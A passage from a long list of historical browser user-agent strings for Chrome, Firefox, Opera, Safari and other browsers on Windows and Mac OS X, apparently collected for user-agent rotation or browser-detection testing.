Gecko, Safari) OmniWeb/v563.51 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:1.8) Gecko/20051107 Camino/1.0b1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/312.1 (KHTML, like Gecko) Safari/312 -Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.43 Safari/534.24 -Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.25 (KHTML, like Gecko) Chrome/12.0.706.0 Safari/534.25 -Mozilla/5.0 (Windows NT 5.1; U; ; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.52 -Mozilla/5.0 (Windows NT 5.1; U; Firefox/3.5; en; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.53 -Mozilla/5.0 (Windows NT 5.1; U; Firefox/4.5; en; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.53 -Mozilla/5.0 (Windows NT 5.1; U; Firefox/5.0; en; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.53 -Mozilla/5.0 (Windows NT 5.1; U; de; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.51 -Mozilla/5.0 (Windows NT 5.1; U; de; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.52 -Mozilla/5.0 (Windows NT 5.1; U; en) Opera 8.50 -Mozilla/5.0 (Windows NT 5.1; U; en-GB; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.51 -Mozilla/5.0 (Windows NT 5.1; U; en-GB; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.61 -Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.22 -Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.24 -Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.26 -Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.51 -Mozilla/5.0 (Windows NT 5.1; U; es-la; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.27 -Mozilla/5.0 (Windows NT 5.1; U; pl; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 11.00 -Mozilla/5.0 (Windows NT 5.1; U; zh-cn; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.50 -Mozilla/5.0 (Windows NT 5.1; U; zh-cn; rv:1.8.1) Gecko/20091102 Firefox/3.5.5 -Mozilla/5.0 (Windows NT 5.1; U; zh-cn; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.53 -Mozilla/5.0 (Windows NT 5.1; U; zh-cn; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.70 -Mozilla/5.0 (Windows NT 5.1; rv:2.0b8pre) Gecko/20101127 Firefox/4.0b8pre -Mozilla/5.0 (Windows NT 5.2; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.27 -Mozilla/5.0 (Windows NT 5.2; U; ru; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.70 -Mozilla/5.0 (Windows NT 6.0) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.3 Safari/534.24 -Mozilla/5.0 (Windows NT 6.0) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 Safari/534.30 -Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.20 Safari/535.1 -Mozilla/5.0 (Windows NT 6.0; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.51 -Mozilla/5.0 (Windows NT 6.0; U; ja; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 11.00 -Mozilla/5.0 (Windows NT 6.0; U; tr; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 10.10 -Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.34 Safari/534.24 -Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.699.0 Safari/534.24 -Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.694.0 Safari/534.24 -Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.3 Safari/534.24 -Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24 -Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.697.0 Safari/534.24 -Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.699.0 Safari/534.24 -Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/12.0.702.0 Safari/534.24 -Mozilla/5.0 (Windows NT 6.1; U; en-GB; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.51 -Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.12 Safari/534.24 -Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/12.0.702.0 Safari/534.24 -Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.53 Safari/534.30 -Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.24 Safari/535.1 -Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b6pre) Gecko/20100903 Firefox/4.0b6pre -Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b7) Gecko/20100101 Firefox/4.0b7 -Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b7) Gecko/20101111 Firefox/4.0b7 -Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b8pre) Gecko/20101114 Firefox/4.0b8pre -Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b8pre) Gecko/20101114 Firefox/4.0b8pre -Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b8pre) Gecko/20101128 Firefox/4.0b8pre -Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b8pre) Gecko/20101213 Firefox/4.0b8pre -Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b9pre) Gecko/20101228 Firefox/4.0b9pre -Mozilla/5.0 (Windows NT 6.1; rv:2.0b6pre) Gecko/20100903 Firefox/4.0b6pre Firefox/4.0b6pre -Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre -Mozilla/5.0 (Windows NT) AppleWebKit/534.20 (KHTML, like Gecko) Chrome/11.0.672.2 Safari/534.20 -Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; el-GR) -Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US) -Mozilla/5.0 (Windows; U; MSIE 9.0; WIndows NT 9.0; en-US)) -Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US) -Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0 -Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0 -Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0 -Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.2) Gecko/20020508 Netscape6/6.1 -Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9.0.2) Gecko/2008092313 Firefox/3.1.6 -Mozilla/5.0 (Windows; U; Windows NT 5.0; ru; rv:1.9.1.13) Gecko/20100914 Firefox/3.5.13 -Mozilla/5.0 (Windows; U; Windows NT 5.1 ; x64; en-US; rv:1.9.1b2pre) Gecko/20081026 Firefox/3.1b2pre -Mozilla/5.0 (Windows; U; Windows NT 5.1; ; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14 -Mozilla/5.0 (Windows; U; Windows NT 5.1; cs-CZ) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.9.2.4) Gecko/20100611 Firefox/3.6.4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE) AppleWebKit/532+ (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 -Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE) Chrome/4.0.223.3 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; de-LI; rv:1.9.0.16) Gecko/2009120208 Firefox/3.0.16 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9) Gecko/2008052906 Firefox/3.0.1pre -Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.2pre) Gecko/2008082305 Firefox/3.0.2pre -Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.4) Firefox/3.0.8) -Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.8) Gecko/2009032609 Firefox/3.07 -Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.1.4) Gecko/20091007 Firefox/3.5.4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 ( .NET CLR 3.0.04506.30) -Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 ( .NET CLR 3.0.04506.648) -Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9b3) Gecko/2008020514 Opera 9.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/526.9 (KHTML, like Gecko) Version/4.0dp1 Safari/526.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.1.4) Gecko/20091016 Firefox/3.5.4 ( .NET CLR 3.5.30729; .NET4.0E) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.29 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/525.13. -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13(KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.151.0 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.152.0 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.0 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.1 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.3.155.0 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.4.154.18 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.39 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.43 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.48 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.50 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.53 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.55 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.10 (KHTML, like Gecko) Chrome/2.0.157.0 Safari/528.10 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.10 (KHTML, like Gecko) Chrome/2.0.157.2 Safari/528.10 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.11 (KHTML, like Gecko) Chrome/2.0.157.0 Safari/528.11 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.4 (KHTML, like Gecko) Chrome/0.3.155.0 Safari/528.4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Chrome/2.0.156.0 Safari/528.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Chrome/2.0.156.0 Version/3.2.1 Safari/528.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Chrome/2.0.156.1 Safari/528.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.9 (KHTML, like Gecko) Chrome/2.0.157.0 Safari/528.9 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.1 (KHTML, like Gecko) Chrome/2.0.169.0 Safari/530.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.1 (KHTML, like Gecko) Chrome/2.0.170.0 Safari/530.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.0 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.2 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.39 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.40 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.42 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.43 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.8 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.173.0 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.173.1 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.174.0 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/2.0.174.0 Safari/530.6 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/2.0.175.0 Safari/530.6 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.7 (KHTML, like Gecko) Chrome/2.0.175.0 Safari/530.7 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.7 (KHTML, like Gecko) Chrome/2.0.176.0 Safari/530.7 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.7 (KHTML, like Gecko) Chrome/2.0.177.0 Safari/530.7 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.8 (KHTML, like Gecko) Chrome/2.0.177.0 Safari/530.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.8 (KHTML, like Gecko) Chrome/2.0.177.1 Safari/530.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.8 (KHTML, like Gecko) Chrome/2.0.178.0 Safari/530.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/531.0 (KHTML, like Gecko) Chrome/3.0.191.0 Safari/531.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/531.2 (KHTML, like Gecko) Chrome/3.0.191.3 Safari/531.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.1 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.10 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.17 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.20 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.21 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.24 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.27 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.196.2 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.11 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.201.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.201.1 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.2 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.1 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.208.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.209.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.4 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.7 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML,like Gecko) Chrome/3.0.195.27 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.0 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.1 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.0 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.3 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.4 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.5 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.6 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.0 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.12 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.3 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.4 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.5 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.7 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.1 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.2 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.3 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.4 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.8 (KHTML, like Gecko) Chrome/4.0.288.1 Safari/532.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.2 Safari/533.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.353.0 Safari/533.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.355.0 Safari/533.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.356.0 Safari/533.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.357.0 Safari/533.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.8 (KHTML, like Gecko) Chrome/6.0.397.0 Safari/533.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.548.0 Safari/534.10 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.15 Safari/534.13 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.599.0 Safari/534.13 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/10.0.601.0 Safari/534.14 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/10.0.602.0 Safari/534.14 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.600.0 Safari/534.14 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.634.0 Safari/534.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.18 (KHTML, like Gecko) Chrome/11.0.661.0 Safari/534.18 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.19 (KHTML, like Gecko) Chrome/11.0.661.0 Safari/534.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.21 (KHTML, like Gecko) Chrome/11.0.678.0 Safari/534.21 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.21 (KHTML, like Gecko) Chrome/11.0.682.0 Safari/534.21 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.1 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.461.0 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.53 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.6 (KHTML, like Gecko) Chrome/7.0.500.0 Safari/534.6 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.514.0 Safari/534.7 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.9 (KHTML, like Gecko) Chrome/7.0.531.0 Safari/534.9 -Mozilla/5.0 (Windows; 